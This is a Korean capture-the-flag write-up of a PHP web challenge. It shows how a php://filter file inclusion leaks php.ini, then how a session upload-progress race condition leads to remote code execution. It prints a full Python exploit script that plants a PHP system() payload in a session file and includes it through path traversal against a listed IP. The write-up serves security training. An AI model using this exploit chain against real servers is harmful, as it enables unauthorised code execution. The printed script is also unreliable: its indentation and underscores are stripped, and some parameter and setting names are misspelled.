[Clear] 사이버보안 챌린지 2023 HMI Monitoring System Writeup
WEB 카테고리 문제였다.
힌트에 php7.4버전 사용 및 FastCGI Process Manager를 사용하고있다는 점이 주어졌으므로 이를 참고하여 주어진 URL에 접속해보자.
Chartjs 기반으로 보이는 Velzon 페이지가 나타났다. 여러 기능들을 테스트해보았지만, p 파라미터를 통해 ChartA,B,C 를 조회하는 것 외에 다른 기능들은 비활성화 되어있었다.
이를 해결하기 위해 php wrapper 중 php://filter/convert.base64-encode/resource=[파일명] 구문을 활용하여 base64인코딩된 상태로 php.ini 파일을 획득 할 수 있었다.


두 파일을 비교해보니 설정값들의 차이점을 알 수 있었다.
서버에 실제 적용되어 있는 fpm/php.ini 의 특이사항이 위와 같이 여러 개 있었지만 그 중 주목할만한 사항들은 아래와 같았다.
1. 세션 파일이 저장되는 경로가 /sessions 로 설정되어 있었다.
(session.save_path = “/sessions”)
2. 세션의 이름이 APPSESSID 로 설정되어 있었다.(session.name = APPSESSID)
3. 세션에서 업로드 진행 상황을 추적 할 수 있는 기능이 활성화되어있었다.
해당 옵션이 활성화 되어있으므로 session_start 함수 없이도 세션 파일을 생성 할 수 있게 된다.(session.upload_progress.enabled = On)
4. 생성된 세션 파일이 바로 삭제되도록 설정되어 있었다.
(ssession.upload_progress.cleanup = On)
5. upload progress에 사용될 prefix는 PHP7_SESSION_UPLOAD_PROGRESS 였다.
(session.upload_progress.name = “PHP7_SESSION_UPLOAD_PROGRESS”)
위 내용을 종합하여 php 코드가 포함되어있는 세션 파일을 임의로 생성 후 이를 읽음으로써 RCE를 발생 시킬 수 있는 시나리오를 만들 수 있다. 자세한 내용은 아래와 같다.
1. 위 조건에 맞추어 서버로 POST 형식의 요청을 전송하는데, 쿠키의 값은 APPSESSID=[파일명키워드], PHP7_SESSION_UPLOAD_PROGRSS 파라미터에 RCE 페이로드를 포함시켜 전송한다.
2. 세션 파일이 바로 삭제되기 때문에 전송 데이터에 파일을 포함시켜 반복적으로 전송함으로써 서버 부하을 유도하여 삭제되기 전에 파일을 읽을 수 있도록 세팅한다.
3. 세션파일이 생성될 지정된 경로에 sess_[파일명키워드] 파일을 읽는다.
위 내용을 종합한 exploit code는 아래와 같다.
import requests
import threading
url = "http://3.37.65.109:29292/client/"
is_done = False
def sess_req():
cookie = {"APPSESSID": "vardy"}
data = {'PHP7_SESSION_UPLOAD_PROGRESS': '<?php system("cat /FLAGFLAGFLAGFLAGFLAGFLAGFLAGFLAGFLAGFLAGFLAGFLAGFLAG")?>'}
while not is_done:
res = requests.post(url, files={"f": "vardy"}, data=data, cookies=cookie)
def exploit():
payload = "?p=../../../../../../../../sessions/sess_vardy"
while True:
res = requests.get(url + payload)
response = res.text
respons_view = response.split('<div class="main-content">')[1].split('<!-- end main content-->')[0]
if len(respons_view)>20:
print(respons_view)
global is_done
is_done = True
break
if name == "main":
threads = []
for in range(10):
thread = threading.Thread(target=sess_req)
thread.start()
threads.append(thread)
exploit()
for thread in threads:
thread.join()
위 코드를 활용하여 원하는 명령어를 RCE 시킬 수 있으므로 플래그를 획득 할 수 있었다.
FLAG = DEATHS0ATHVSRF321